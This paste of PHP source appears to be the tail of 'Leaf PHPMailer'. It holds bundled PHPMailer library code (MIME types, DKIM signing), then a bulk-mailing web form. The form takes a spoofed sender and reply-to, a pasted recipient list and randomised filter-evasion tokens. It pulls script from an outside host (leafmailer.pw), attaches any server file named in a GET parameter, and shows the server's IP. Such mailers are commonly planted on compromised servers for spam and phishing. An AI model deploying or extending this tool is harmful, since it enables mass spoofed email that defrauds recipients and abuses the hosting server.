  3533.             'ram'   => 'audio/x-pn-realaudio',
  3534.             'rm'    => 'audio/x-pn-realaudio',
  3535.             'rpm'   => 'audio/x-pn-realaudio-plugin',
  3536.             'ra'    => 'audio/x-realaudio',
  3537.             'wav'   => 'audio/x-wav',
  3538.             'bmp'   => 'image/bmp',
  3539.             'gif'   => 'image/gif',
  3540.             'jpeg'  => 'image/jpeg',
  3541.             'jpe'   => 'image/jpeg',
  3542.             'jpg'   => 'image/jpeg',
  3543.             'png'   => 'image/png',
  3544.             'tiff'  => 'image/tiff',
  3545.             'tif'   => 'image/tiff',
  3546.             'eml'   => 'message/rfc822',
  3547.             'css'   => 'text/css',
  3548.             'html'  => 'text/html',
  3549.             'htm'   => 'text/html',
  3550.             'shtml' => 'text/html',
  3551.             'log'   => 'text/plain',
  3552.             'text'  => 'text/plain',
  3553.             'txt'   => 'text/plain',
  3554.             'rtx'   => 'text/richtext',
  3555.             'rtf'   => 'text/rtf',
  3556.             'vcf'   => 'text/vcard',
  3557.             'vcard' => 'text/vcard',
  3558.             'xml'   => 'text/xml',
  3559.             'xsl'   => 'text/xml',
  3560.             'mpeg'  => 'video/mpeg',
  3561.             'mpe'   => 'video/mpeg',
  3562.             'mpg'   => 'video/mpeg',
  3563.             'mov'   => 'video/quicktime',
  3564.             'qt'    => 'video/quicktime',
  3565.             'rv'    => 'video/vnd.rn-realvideo',
  3566.             'avi'   => 'video/x-msvideo',
  3567.             'movie' => 'video/x-sgi-movie'
  3568.         );
  3569.         if (array_key_exists(strtolower($ext), $mimes)) {
  3570.             return $mimes[strtolower($ext)];
  3571.         }
  3572.         return 'application/octet-stream';
  3573.     }
  3574.  
  3575.     /**
  3576.      * Map a file name to a MIME type.
  3577.      * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3578.      * @param string $filename A file name or full path, does not need to exist as a file
  3579.      * @return string
  3580.      * @static
  3581.      */
  3582.     public static function filenameToType($filename)
  3583.     {
  3584.         // In case the path is a URL, strip any query string before getting extension
  3585.         $qpos = strpos($filename, '?');
  3586.         if (false !== $qpos) {
  3587.             $filename = substr($filename, 0, $qpos);
  3588.         }
  3589.         $pathinfo = self::mb_pathinfo($filename);
  3590.         return self::_mime_types($pathinfo['extension']);
  3591.     }
  3592.  
  3593.     /**
  3594.      * Multi-byte-safe pathinfo replacement.
  3595.      * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3596.      * Works similarly to the one in PHP >= 5.2.0
  3597.      * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3598.      * @param string $path A filename or path, does not need to exist as a file
  3599.      * @param integer|string $options Either a PATHINFO_* constant,
  3600.      *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3601.      * @return string|array
  3602.      * @static
  3603.      */
  3604.     public static function mb_pathinfo($path, $options = null)
  3605.     {
  3606.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3607.         $pathinfo = array();
  3608.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  3609.             if (array_key_exists(1, $pathinfo)) {
  3610.                 $ret['dirname'] = $pathinfo[1];
  3611.             }
  3612.             if (array_key_exists(2, $pathinfo)) {
  3613.                 $ret['basename'] = $pathinfo[2];
  3614.             }
  3615.             if (array_key_exists(5, $pathinfo)) {
  3616.                 $ret['extension'] = $pathinfo[5];
  3617.             }
  3618.             if (array_key_exists(3, $pathinfo)) {
  3619.                 $ret['filename'] = $pathinfo[3];
  3620.             }
  3621.         }
  3622.         switch ($options) {
  3623.             case PATHINFO_DIRNAME:
  3624.             case 'dirname':
  3625.                 return $ret['dirname'];
  3626.             case PATHINFO_BASENAME:
  3627.             case 'basename':
  3628.                 return $ret['basename'];
  3629.             case PATHINFO_EXTENSION:
  3630.             case 'extension':
  3631.                 return $ret['extension'];
  3632.             case PATHINFO_FILENAME:
  3633.             case 'filename':
  3634.                 return $ret['filename'];
  3635.             default:
  3636.                 return $ret;
  3637.         }
  3638.     }
  3639.  
  3640.     /**
  3641.      * Set or reset instance properties.
  3642.      * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3643.      * harder to debug than setting properties directly.
  3644.      * Usage Example:
  3645.      * `$mail->set('SMTPSecure', 'tls');`
  3646.      *   is the same as:
  3647.      * `$mail->SMTPSecure = 'tls';`
  3648.      * @access public
  3649.      * @param string $name The property name to set
  3650.      * @param mixed $value The value to set the property to
  3651.      * @return boolean
  3652.      * @TODO Should this not be using the __set() magic function?
  3653.      */
  3654.     public function set($name, $value = '')
  3655.     {
  3656.         if (property_exists($this, $name)) {
  3657.             $this->$name = $value;
  3658.             return true;
  3659.         } else {
  3660.             $this->setError($this->lang('variable_set') . $name);
  3661.             return false;
  3662.         }
  3663.     }
  3664.  
  3665.     /**
  3666.      * Strip newlines to prevent header injection.
  3667.      * @access public
  3668.      * @param string $str
  3669.      * @return string
  3670.      */
  3671.     public function secureHeader($str)
  3672.     {
  3673.         return trim(str_replace(array("\r", "\n"), '', $str));
  3674.     }
  3675.  
  3676.     /**
  3677.      * Normalize line breaks in a string.
  3678.      * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3679.      * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3680.      * @param string $text
  3681.      * @param string $breaktype What kind of line break to use, defaults to CRLF
  3682.      * @return string
  3683.      * @access public
  3684.      * @static
  3685.      */
  3686.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  3687.     {
  3688.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  3689.     }
  3690.  
  3691.     /**
  3692.      * Set the public and private key files and password for S/MIME signing.
  3693.      * @access public
  3694.      * @param string $cert_filename
  3695.      * @param string $key_filename
  3696.      * @param string $key_pass Password for private key
  3697.      * @param string $extracerts_filename Optional path to chain certificate
  3698.      */
  3699.     public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  3700.     {
  3701.         $this->sign_cert_file = $cert_filename;
  3702.         $this->sign_key_file = $key_filename;
  3703.         $this->sign_key_pass = $key_pass;
  3704.         $this->sign_extracerts_file = $extracerts_filename;
  3705.     }
  3706.  
  3707.     /**
  3708.      * Quoted-Printable-encode a DKIM header.
  3709.      * @access public
  3710.      * @param string $txt
  3711.      * @return string
  3712.      */
  3713.     public function DKIM_QP($txt)
  3714.     {
  3715.         $line = '';
  3716.         for ($i = 0; $i < strlen($txt); $i++) {
  3717.             $ord = ord($txt[$i]);
  3718.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3719.                 $line .= $txt[$i];
  3720.             } else {
  3721.                 $line .= '=' . sprintf('%02X', $ord);
  3722.             }
  3723.         }
  3724.         return $line;
  3725.     }
  3726.  
  3727.     /**
  3728.      * Generate a DKIM signature.
  3729.      * @access public
  3730.      * @param string $signHeader
  3731.      * @throws phpmailerException
  3732.      * @return string
  3733.      */
  3734.     public function DKIM_Sign($signHeader)
  3735.     {
  3736.         if (!defined('PKCS7_TEXT')) {
  3737.             if ($this->exceptions) {
  3738.                 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3739.             }
  3740.             return '';
  3741.         }
  3742.         $privKeyStr = file_get_contents($this->DKIM_private);
  3743.         if ($this->DKIM_passphrase != '') {
  3744.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3745.         } else {
  3746.             $privKey = $privKeyStr;
  3747.         }
  3748.         if (openssl_sign($signHeader, $signature, $privKey)) {
  3749.             return base64_encode($signature);
  3750.         }
  3751.         return '';
  3752.     }
  3753.  
  3754.     /**
  3755.      * Generate a DKIM canonicalization header.
  3756.      * @access public
  3757.      * @param string $signHeader Header
  3758.      * @return string
  3759.      */
  3760.     public function DKIM_HeaderC($signHeader)
  3761.     {
  3762.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  3763.         $lines = explode("\r\n", $signHeader);
  3764.         foreach ($lines as $key => $line) {
  3765.             list($heading, $value) = explode(':', $line, 2);
  3766.             $heading = strtolower($heading);
  3767.             $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3768.             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3769.         }
  3770.         $signHeader = implode("\r\n", $lines);
  3771.         return $signHeader;
  3772.     }
  3773.  
  3774.     /**
  3775.      * Generate a DKIM canonicalization body.
  3776.      * @access public
  3777.      * @param string $body Message Body
  3778.      * @return string
  3779.      */
  3780.     public function DKIM_BodyC($body)
  3781.     {
  3782.         if ($body == '') {
  3783.             return "\r\n";
  3784.         }
  3785.         // stabilize line endings
  3786.         $body = str_replace("\r\n", "\n", $body);
  3787.         $body = str_replace("\n", "\r\n", $body);
  3788.         // END stabilize line endings
  3789.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  3790.             $body = substr($body, 0, strlen($body) - 2);
  3791.         }
  3792.         return $body;
  3793.     }
  3794.  
  3795.     /**
  3796.      * Create the DKIM header and body in a new message header.
  3797.      * @access public
  3798.      * @param string $headers_line Header lines
  3799.      * @param string $subject Subject
  3800.      * @param string $body Body
  3801.      * @return string
  3802.      */
  3803.     public function DKIM_Add($headers_line, $subject, $body)
  3804.     {
  3805.         $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3806.         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3807.         $DKIMquery = 'dns/txt'; // Query method
  3808.         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3809.         $subject_header = "Subject: $subject";
  3810.         $headers = explode($this->LE, $headers_line);
  3811.         $from_header = '';
  3812.         $to_header = '';
  3813.         $current = '';
  3814.         foreach ($headers as $header) {
  3815.             if (strpos($header, 'From:') === 0) {
  3816.                 $from_header = $header;
  3817.                 $current = 'from_header';
  3818.             } elseif (strpos($header, 'To:') === 0) {
  3819.                 $to_header = $header;
  3820.                 $current = 'to_header';
  3821.             } else {
  3822.                 if (!empty($$current) && strpos($header, ' =?') === 0) {
  3823.                     $$current .= $header;
  3824.                 } else {
  3825.                     $current = '';
  3826.                 }
  3827.             }
  3828.         }
  3829.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3830.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3831.         $subject = str_replace(
  3832.             '|',
  3833.             '=7C',
  3834.             $this->DKIM_QP($subject_header)
  3835.         ); // Copied header fields (dkim-quoted-printable)
  3836.         $body = $this->DKIM_BodyC($body);
  3837.         $DKIMlen = strlen($body); // Length of body
  3838.         $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3839.         if ('' == $this->DKIM_identity) {
  3840.             $ident = '';
  3841.         } else {
  3842.             $ident = ' i=' . $this->DKIM_identity . ';';
  3843.         }
  3844.         $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  3845.             $DKIMsignatureType . '; q=' .
  3846.             $DKIMquery . '; l=' .
  3847.             $DKIMlen . '; s=' .
  3848.             $this->DKIM_selector .
  3849.             ";\r\n" .
  3850.             "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  3851.             "\th=From:To:Subject;\r\n" .
  3852.             "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  3853.             "\tz=$from\r\n" .
  3854.             "\t|$to\r\n" .
  3855.             "\t|$subject;\r\n" .
  3856.             "\tbh=" . $DKIMb64 . ";\r\n" .
  3857.             "\tb=";
  3858.         $toSign = $this->DKIM_HeaderC(
  3859.             $from_header . "\r\n" .
  3860.             $to_header . "\r\n" .
  3861.             $subject_header . "\r\n" .
  3862.             $dkimhdrs
  3863.         );
  3864.         $signed = $this->DKIM_Sign($toSign);
  3865.         return $dkimhdrs . $signed . "\r\n";
  3866.     }
  3867.  
  3868.     /**
  3869.      * Detect if a string contains a line longer than the maximum line length allowed.
  3870.      * @param string $str
  3871.      * @return boolean
  3872.      * @static
  3873.      */
  3874.     public static function hasLineLongerThanMax($str)
  3875.     {
  3876.         //+2 to include CRLF line break for a 1000 total
  3877.         return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  3878.     }
  3879.  
  3880.     /**
  3881.      * Allows for public read access to 'to' property.
  3882.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3883.      * @access public
  3884.      * @return array
  3885.      */
  3886.     public function getToAddresses()
  3887.     {
  3888.         return $this->to;
  3889.     }
  3890.  
  3891.     /**
  3892.      * Allows for public read access to 'cc' property.
  3893.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3894.      * @access public
  3895.      * @return array
  3896.      */
  3897.     public function getCcAddresses()
  3898.     {
  3899.         return $this->cc;
  3900.     }
  3901.  
  3902.     /**
  3903.      * Allows for public read access to 'bcc' property.
  3904.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3905.      * @access public
  3906.      * @return array
  3907.      */
  3908.     public function getBccAddresses()
  3909.     {
  3910.         return $this->bcc;
  3911.     }
  3912.  
  3913.     /**
  3914.      * Allows for public read access to 'ReplyTo' property.
  3915.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3916.      * @access public
  3917.      * @return array
  3918.      */
  3919.     public function getReplyToAddresses()
  3920.     {
  3921.         return $this->ReplyTo;
  3922.     }
  3923.  
  3924.     /**
  3925.      * Allows for public read access to 'all_recipients' property.
  3926.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3927.      * @access public
  3928.      * @return array
  3929.      */
  3930.     public function getAllRecipientAddresses()
  3931.     {
  3932.         return $this->all_recipients;
  3933.     }
  3934.  
  3935.     /**
  3936.      * Perform a callback.
  3937.      * @param boolean $isSent
  3938.      * @param array $to
  3939.      * @param array $cc
  3940.      * @param array $bcc
  3941.      * @param string $subject
  3942.      * @param string $body
  3943.      * @param string $from
  3944.      */
  3945.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  3946.     {
  3947.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  3948.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3949.             call_user_func_array($this->action_function, $params);
  3950.         }
  3951.     }
  3952. }
  3953.  
  3954. /**
  3955.  * PHPMailer exception handler
  3956.  * @package PHPMailer
  3957.  */
  3958. class phpmailerException extends Exception
  3959. {
  3960.     /**
  3961.      * Prettify error message output
  3962.      * @return string
  3963.      */
  3964.     public function errorMessage()
  3965.     {
  3966.         $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  3967.         return $errorMsg;
  3968.     }
  3969. }
  3970.  
  3971. print '
  3972. <head>
  3973.    <title>Leaf PHPMailer</title>
  3974.    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3975.    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  3976.    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  3977.    <script src="https://leafmailer.pw/style.js"></script>
  3978.  
  3979. </head>';
  3980.  
  3981. print '<body>';
  3982. print '<div class="container col-lg-6">
  3983.        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
  3984.        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3985.            <div class="row">
  3986.                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  3987.                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  3988.            </div>
  3989.            <div class="row">
  3990.                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  3991.  
  3992.                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  3993.            </div>
  3994.            <div class="row">
  3995.                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  3996.            </div>
  3997.            <div class="row">
  3998.                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  3999.                <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  4000.            </div>
  4001.            <div class="row">
  4002.                <div class="form-group col-lg-6 ">
  4003.                    <label for="messageType">Message Type</label>
  4004.                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  4005.                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  4006.                </div>
  4007.                <div class="form-group col-lg-3 ">
  4008.                    <label for="encode">Encode Type</label>
  4009.                    <select class="form-control input-sm" id="encode" name="encode">
  4010.                        <option value="UTF-8" selected>UTF-8 Encode</option>
  4011.                        <option value="UTF-8">ISO Encode</option>
  4012.                    </select>
  4013.                </div>
  4014.            </div>
  4015.            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  4016.  
  4017.        </form>
  4018.    </div>
  4019.    <div class="col-lg-6"><br>
  4020.        <label for="well">Instruction</label>
  4021.        <div id="well" class="well well">
  4022.            <h4>Server Information</h4>
  4023.            <ul>
  4024.                <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
  4025.  
  4026.            </ul>
  4027.            <h4>HELP</h4>
  4028.            <ul>
  4029.                <li>[-email-] : <b>Reciver Email</b></li>
  4030.                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
  4031.                <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  4032.                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  4033.                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  4034.                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  4035.                <li>[-randommd5-] : <b>Random MD5 </b></li>
  4036.            </ul>
  4037.            <h4>example</h4>
  4038.            Reciver Email = <b>[email protected]</b><br>
  4039.            <ul>
  4040.                <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  4041.                <li>your code is  <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  4042.            </ul>
  4043.  
  4044.            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
  4045.        </div>
  4046.    </div>';      
  4047. if($_GET['action']=="send"){
  4048.     print '    <div class="col-lg-12">';
  4049.  
  4050.     $maillist=explode(PHP_EOL, $emailList);
  4051.  
  4052.     $n=count($maillist);
  4053.     $x =1;
  4054.     foreach ($maillist as $email ) {
  4055.         print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
  4056.         if(!leafMailCheck($email)) {
  4057.             print '<div class="col-lg-6"><span class="label label-default">Incorrect Email -'.$email.'</span></div>';
  4058.             print "<br>\r\n";
  4059.         }
  4060.         else {
  4061.             $mail = new PHPMailer;
  4062.             $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4063.             $mail->addReplyTo(leafClear($replyTo,$email));
  4064.             $mail->addAddress($email);
  4065.             $mail->Subject = leafClear($subject,$email);
  4066.             $mail->Body =  leafClear($messageLetter,$email);
  4067.             $mail->CharSet = $encode;
  4068.                 if (isset($_GET['attachment'])){
  4069.                     $mail->AddAttachment($_GET['attachment'],$_GET['attachment']);
  4070.                 }
  4071.  
  4072.  
  4073.             if($messageType==1){$mail->IsHTML(true);}
  4074.             else {$mail->IsHTML(false);}
  4075.             if (!$mail->send()) {
  4076.                 echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
  4077.             }
  4078.             else {
  4079.                 echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  4080.             }
  4081.             print "<br>\r\n";
  4082.         }
  4083.         $x++;
  4084.         for($k = 0; $k < 40000; $k++) {echo ' ';}
  4085.     }
  4086.  
  4087. }
  4088. print '</body>';
  4089. ?>
Add Comment
Please, Sign In to add comment